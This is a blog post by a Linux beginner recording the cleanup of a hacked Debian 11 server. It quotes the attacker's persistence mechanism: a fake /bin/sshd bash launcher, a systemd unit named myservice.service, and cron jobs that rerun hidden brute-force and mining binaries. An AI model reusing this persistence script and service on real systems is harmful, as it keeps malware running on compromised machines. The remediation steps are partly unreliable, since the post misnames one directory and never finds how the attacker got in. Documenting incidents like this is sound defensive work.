irpas技术客

记一次 Debian 被黑,清理记录,唉_挪不动

大大的周 1689

问题:今天登录学习用的 Linux 时发现 root 登录不了,是因为密码不对,估计是被黑了,因为是 LINUX 小白,所以在这方面也没啥安全意识,只能先将 root 密码恢复一下,再研究下怎么解决吧,这也是为了记录下,思路也不知道对不对,等处理完成最后再把 root 密码再改下吧,唉。

另:这机器是 Debian 11 最小化安装,服务就只有 Tomcat 和 PostgreSQL服务是对外开放了端口,而且端口号还修改成不是默认的了,有哪位大神可以赐教该如何防着点么,在这里先谢谢了。 要直接看怎么处理的话,直接看最后面内容吧,中间是自己的嘚啵嘚。。。

查询问题: 通过查看进程,发现有个 systemc 进程,对照其他正常的机器,这运行不应该存在 然后,查到这个程序是运行在 root 目录下有个 .cfg 目录,整体是在这里运行的 查看到这个目录中有个脚本名 .b4nd1d0,所以从这个名开始查询

root@debian:~/.cfg# grep -r "b4nd1d0" /bin /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown

上面这个目录里查到了 .b4nd1d0 是从另一个脚本过来的,脚本是 /bin/sshd ,经对照其实正常不应该在此位置有这个文件,先瞅瞅这个文件里写的啥

cat /bin/sshd

#!/bin/bash locatieasdf=/root/.cfg if [ ! -d $locatieasdf ]; then mkdir $locatieasdf rsync -r /usr/bin/.locatione/ $locatieasdf/ sleep 0.3 $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown else if [ ! -f $locatieasdf/systemc ]; then rsync -r /usr/bin/.locatione/ $locatieasdf/ sleep 0.3 $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown else $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown fi fi

嘿,感觉 /usr/bin/.locatione/ 这个目录是根源,还带同步的,瞅瞅这个目录里都有啥

-rwxr-xr-x 1 root root 13 1月 8 15:41 bios.txt -rwxr-xr-x 1 root root 1008K 11月 1 16:49 blackmn -rwxr-xr-x 1 root root 879K 9月 17 07:33 brute -rwxr-xr-x 1 root root 3.9K 9月 17 07:33 pass -rwxr-xr-x 1 root root 658K 9月 17 07:29 ps -rwxr-xr-x 1 root root 5.6M 10月 31 16:08 systemc

这一段应该差不多了,咱再接着往下查 .b4nd1d0 在其他目录还有啥信息

root@debian:~/.cfg# grep -r "b4nd1d0" /var /var/log/syslog:Jan 10 00:00:01 debian CRON[34851]: (root) CMD (/root/.cfg/./.b4nd1d0) /var/log/syslog:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped. /var/log/syslog:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped. /var/log/syslog:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped. grep: /var/log/journal/a4ad240cd4e64333843259198e7b9cde/system.journal:匹配到二进制文件 /var/log/daemon.log:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped. /var/log/daemon.log:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped. /var/log/daemon.log:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped. /var/log/syslog.1:Jan 9 00:00:01 debian CRON[16217]: (root) CMD (/root/.cfg/./.b4nd1d0) /var/spool/cron/crontabs/root:@daily /root/.cfg/./.b4nd1d0

上面的结果好像是被我给 KILL 掉的记录,但发现了应该是从一个服务 myservice.service 执行的,也就是为什么会开机就被运行了

root@debian:/lib/systemd/system# find / -name myservi* /etc/systemd/system/multi-user.target.wants/myservice.service /usr/lib/systemd/system/myservice.service root@debian:/lib/systemd/system# ll myservice.service -rw-r--r-- 1 root root 213 1月 8 15:51 myservice.service

因为 /lib 是 /usr/lib 的软链接,所以这两个是一个目录 下面是 myservice.service 的内容,这应该就是开机运行的源头了吧

root@debian:/lib/systemd/system# cat myservice.service [Unit] Description=Example systemd service. [Service] Type=forking ExecStart=/bin/bash /usr/bin/sshd Restart=always RestartSec=720 SuccessExitStatus=1 KillMode=none [Install] WantedBy=multi-user.target

/bin 也是 /usr/bin 的软链接,所以这两个是一个目录

更新一个定时任务里也有,真是恶心啊

root@Webapp-study:~# crontab -l # @daily /root/.cfg/./.b4nd1d0 # @reboot /root/.cfg/./.blackmn > /dev/null 2>&1 & disown # * * * * * /root/.cfg/./.blackmn > /dev/null 2>&1 & disown # @monthly /root/.cfg/./.blackmn > /dev/null 2>&1 & disown 直接都删掉就好了 root@Webapp-study:~# crontab -r root@Webapp-study:~# crontab -l no crontab for root

暂时问题查询就到这了,再不知道怎么往下找了

现在简单整理一下执行过程: 开机运行 myservice.service 调用了 /usr/bin/ssh 脚本,这个脚本同步 /usr/bin/.locatione/ 目录中的内容到用户目录,并运行。

----------------------------------------------------------------------------------------------------------------------------

处理方式: 1.查到对应的PID,然后KILL掉

ps 或 htop 都行,我进程少,所以 htop 比较直观 (htop 是用 apt 安装的) kill -9 PID号

2.删掉 myservice.service 服务

rm -rf /etc/systemd/system/multi-user.target.wants/myservice.service rm -rf /usr/lib/systemd/system/myservice.service

3.删掉 /usr/bin/sshd 文件

rm -rf /usr/bin/sshd

4.删掉 /usr/bin/.location 目录

rm -rf /usr/bin/.location

5.最后删掉 /root/.cfg 整个目录

rm -rf /root/.cfg

最后重启下,再查下进程和刚才那几个目录,要是再没有异常了应该就是正常了 赶紧先改个密码吧,按说密码也够强壮,挺郁闷的一个事儿。


1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,会注明原创字样,如未注明都非原创,如有侵权请联系删除!;3.作者投稿可能会经我们编辑修改或补充;4.本站不提供任何储存功能只提供收集或者投稿人的网盘链接。

标签: #记一次 #debian #被黑 #清理记录 # #清理被黑的 #Linux